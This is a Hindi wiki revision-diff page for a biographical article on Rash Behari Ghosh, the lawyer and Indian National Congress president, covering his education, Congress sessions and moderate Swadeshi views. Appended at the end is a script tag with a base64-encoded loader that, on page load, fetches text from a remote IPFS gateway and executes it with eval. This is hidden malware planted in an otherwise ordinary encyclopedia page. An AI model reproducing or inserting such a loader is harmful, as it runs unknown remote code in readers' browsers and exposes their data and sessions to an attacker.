रास बिहारी घोष: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
No edit summary |
||
Line 46: | Line 46: | ||
रास बिहारी घोष गोखले के राजनीतिक विचारों से बहुत प्रभावित थे। उनके लिए [[भारत]] में ब्रिटिश शासन एक आशीर्वाद था और उन्हें [[ब्रिटेन]] पर काफ़ी भरोसा था। उनका मानना था कि "मैं कभी नहीं सोचता कि [[इंग्लैंड]] कभी अपने कदम वापस लेगा या भारत के प्रति अपने कर्तव्य को भूलेगा। वह एक विजेता के रूप में नहीं बल्कि लोगों की सहज अनुमति से सब कुछ ठीक और व्यवस्थित करने, अव्यवस्था और अराजकता की जगह अच्छी सरकार देने... सेवा प्रदान करने आई है, और अब ये कार्य पूरा हो गया है... और अब इंग्लैंड के लिए हमें स्वायत्तता देने का कार्य रह गया है, जैसा कि उसने अपनी दूसरी कॉलोनियों को दिया है।"<ref name="a"/> | रास बिहारी घोष गोखले के राजनीतिक विचारों से बहुत प्रभावित थे। उनके लिए [[भारत]] में ब्रिटिश शासन एक आशीर्वाद था और उन्हें [[ब्रिटेन]] पर काफ़ी भरोसा था। उनका मानना था कि "मैं कभी नहीं सोचता कि [[इंग्लैंड]] कभी अपने कदम वापस लेगा या भारत के प्रति अपने कर्तव्य को भूलेगा। वह एक विजेता के रूप में नहीं बल्कि लोगों की सहज अनुमति से सब कुछ ठीक और व्यवस्थित करने, अव्यवस्था और अराजकता की जगह अच्छी सरकार देने... सेवा प्रदान करने आई है, और अब ये कार्य पूरा हो गया है... और अब इंग्लैंड के लिए हमें स्वायत्तता देने का कार्य रह गया है, जैसा कि उसने अपनी दूसरी कॉलोनियों को दिया है।"<ref name="a"/> | ||
अर्थव्यवस्था के साहसी रक्षक, भारत के हितों को ध्यान में रखते हुए उन्होंने स्वदेशी आंदोलन को स्वदेशी उद्योगों के पालन-पोषण और प्रोत्साहन के रूप मे देखा, जो ब्रिटिश सरकार की मुक्त उद्योग नीति को देखते हुए सीमा शुल्क द्वारा सुरक्षित होने में असफल थी। उनके मुताबिक भारत सरकार को देश के उद्यौगिक विकास का लक्ष्य स्थापित करने के लिए एक ‘प्रेरक बल’ होना चाहिए। वह सार्वजनिक सभा में भाषण के अभ्यस्त नहीं थे, पर वह एक निपुण वक्ता थे। उन्होंने [[भारतीय राष्ट्रीय कांग्रेस]] के सत्र को संबोधित किया और कई अन्य महत्वपूर्ण अवसरों पर भी अपनी बात रखी। | अर्थव्यवस्था के साहसी रक्षक, [[भारत]] के हितों को ध्यान में रखते हुए उन्होंने स्वदेशी आंदोलन को स्वदेशी उद्योगों के पालन-पोषण और प्रोत्साहन के रूप मे देखा, जो ब्रिटिश सरकार की मुक्त उद्योग नीति को देखते हुए सीमा शुल्क द्वारा सुरक्षित होने में असफल थी। उनके मुताबिक [[भारत सरकार]] को देश के उद्यौगिक विकास का लक्ष्य स्थापित करने के लिए एक ‘प्रेरक बल’ होना चाहिए। वह सार्वजनिक सभा में भाषण के अभ्यस्त नहीं थे, पर वह एक निपुण वक्ता थे। उन्होंने [[भारतीय राष्ट्रीय कांग्रेस]] के सत्र को संबोधित किया और कई अन्य महत्वपूर्ण अवसरों पर भी अपनी बात रखी। | ||
Revision as of 05:27, 23 December 2017
रास बिहारी घोष
| |
पूरा नाम | रास बिहारी घोष |
जन्म | 23 दिसम्बर, 1845 |
जन्म भूमि | बर्दवान, पश्चिम बंगाल |
मृत्यु | 1921 |
नागरिकता | भारतीय |
प्रसिद्धि | राजनीतिज्ञ, जानेमाने अधिवक्ता और सामाजिक कार्यकर्ता |
पार्टी | भारतीय राष्ट्रीय कांग्रेस |
विद्यालय | प्रेसिडेंसी कॉलेज, कलकत्ता |
संबंधित लेख | कांग्रेस अधिवेशन, भारतीय राष्ट्रीय कांग्रेस, गोपाल कृष्ण गोखले |
अन्य जानकारी | सन 1906 में कलकत्ता में कांग्रेस के वार्षिक अधिवेशन में रास बिहारी घोष स्वागत समिति के अध्यक्ष बने। अगले वर्ष उन्होंने सूरत अधिवेशन की अध्यक्षता की, जो भारी गड़बड़ी के साथ समाप्त हो गया। |
अद्यतन | 16:59, 2 जून 2017 (IST)
|
रास बिहारी घोष (अंग्रेज़ी: Rash Behari Ghosh, जन्म- 23 दिसम्बर, 1845; मृत्यु- 1921) भारतीय राजनीतिज्ञ, जानेमाने अधिवक्ता और सामाजिक कार्यकर्ता थे। वह गोपाल कृष्ण गोखले के राजनीतिक विचारों से बहुत प्रभावित थे। उनके लिए भारत में ब्रिटिश शासन एक आशीर्वाद था और उन्हें ब्रिटेन पर काफ़ी भरोसा था। सन 1906 में कलकत्ता में कांग्रेस के वार्षिक अधिवेशन में रास बिहारी घोष स्वागत समिति के अध्यक्ष बने थे। इसके अगले ही वर्ष उन्होंने सूरत अधिवेशन की अध्यक्षता की थी।
परिचय
रास बिहारी घोष का जन्म पश्चिम बंगाल के बर्दवान में 23 दिसंबर, 1845 ई. को हुआ था। कुछ वक्त के लिए स्थानीय पाठशाला में पढ़ने के बाद उन्होंने बर्दवान राज कॉलेजिएट स्कूल में शिक्षा ग्रहण की। बांकुड़ा से प्रवेश परीक्षा पास करने के बाद उन्होंने प्रेसिडेंसी कॉलेज, कलकत्ता (वर्तमान कोलकाता) में प्रवेश लिया। उन्होंने प्रथम श्रेणी में एम.ए. अंग्रेज़ी की परीक्षा पास की। सन 1871 में उन्होंने क़ानून की शिक्षा ग्रहण की और फिर 1884 में उन्हें डॉक्टर ऑफ़ लॉ की मानद उपाधि से नवाजा गया।[1]
राजनीति गतिविधियाँ
रास बिहारी घोष कलकत्ता विश्वविद्यालय के साथ जुड़े थे। सन 1887-1899 के बीच वह सिंडिकेट के सदस्य रहे। गोपाल कृष्ण गोखले की अनिवार्य प्राथमिक शिक्षा की योजना का उन्होंने समर्थन किया और स्वदेशी आंदोलन के समय उन्होंने राष्ट्रीय शिक्षा के लिए इस कदम का समर्थन किया। वह नेशनल काउंसिल ऑफ़ ऐजुकेशन के पहले अध्यक्ष चुने गए। 1906 तक रास बिहारी घोष ने कभी खुद को सार्वजनिक रूप से भारतीय राष्ट्रीय कांग्रेस के साथ संबंधित नहीं रखा। राजनीति में उनकी पहली महत्वपूर्ण उपस्थिति 1905 में रही, जब उन्होंने कलकत्ता विश्वविद्यालय के दीक्षांत समारोह में लॉर्ड कर्जन की आपत्तिजनक टिप्पणी के खिलाफ कलकत्ता टाउन हॉल मे आयोजित सभा की अध्यक्षता की।
कांग्रेस अधिवेशन
सन 1906 में कलकत्ता में कांग्रेस के वार्षिक अधिवेशन में रास बिहारी घोष स्वागत समिति के अध्यक्ष बने। अगले वर्ष उन्होंने सूरत अधिवेशन की अध्यक्षता की, जो भारी गड़बड़ी के साथ समाप्त हो गया। 1908 में उन्होंने मद्रास अधिवेशन की अध्यक्षता की।[1]
स्वदेशी आंदोलन
राजनीति में एक उदारवादी के तौर पर उन्होंने स्वदेशी आंदोलन में प्रमुखता से भाग लिया, जो उनके मुताबिक "विदेशीयों से नफरत पर नहीं बल्कि अपने देश से प्यार पर आधारित है"। उनके लिए इसका मतलब था "भारतियों के लिए भारत का विकास"। यह लक्ष्य वह संवैधानिक विरोध प्रदर्शन के जरिये पाना चाहते थे और असहिष्णु आदर्शवादी के तौर पर चरमपंथियों की निंदा करना चाहते थे। दूसरे देशों के राष्ट्रीय आंदोलन में भी उनकी रुचि थी।
गोखले से प्रभावित
रास बिहारी घोष गोखले के राजनीतिक विचारों से बहुत प्रभावित थे। उनके लिए भारत में ब्रिटिश शासन एक आशीर्वाद था और उन्हें ब्रिटेन पर काफ़ी भरोसा था। उनका मानना था कि "मैं कभी नहीं सोचता कि इंग्लैंड कभी अपने कदम वापस लेगा या भारत के प्रति अपने कर्तव्य को भूलेगा। वह एक विजेता के रूप में नहीं बल्कि लोगों की सहज अनुमति से सब कुछ ठीक और व्यवस्थित करने, अव्यवस्था और अराजकता की जगह अच्छी सरकार देने... सेवा प्रदान करने आई है, और अब ये कार्य पूरा हो गया है... और अब इंग्लैंड के लिए हमें स्वायत्तता देने का कार्य रह गया है, जैसा कि उसने अपनी दूसरी कॉलोनियों को दिया है।"[1]
अर्थव्यवस्था के साहसी रक्षक, भारत के हितों को ध्यान में रखते हुए उन्होंने स्वदेशी आंदोलन को स्वदेशी उद्योगों के पालन-पोषण और प्रोत्साहन के रूप मे देखा, जो ब्रिटिश सरकार की मुक्त उद्योग नीति को देखते हुए सीमा शुल्क द्वारा सुरक्षित होने में असफल थी। उनके मुताबिक भारत सरकार को देश के उद्यौगिक विकास का लक्ष्य स्थापित करने के लिए एक ‘प्रेरक बल’ होना चाहिए। वह सार्वजनिक सभा में भाषण के अभ्यस्त नहीं थे, पर वह एक निपुण वक्ता थे। उन्होंने भारतीय राष्ट्रीय कांग्रेस के सत्र को संबोधित किया और कई अन्य महत्वपूर्ण अवसरों पर भी अपनी बात रखी।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 रास बिहारी घोष (हिंदी) inc.in। अभिगमन तिथि: 2 जून, 2017।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>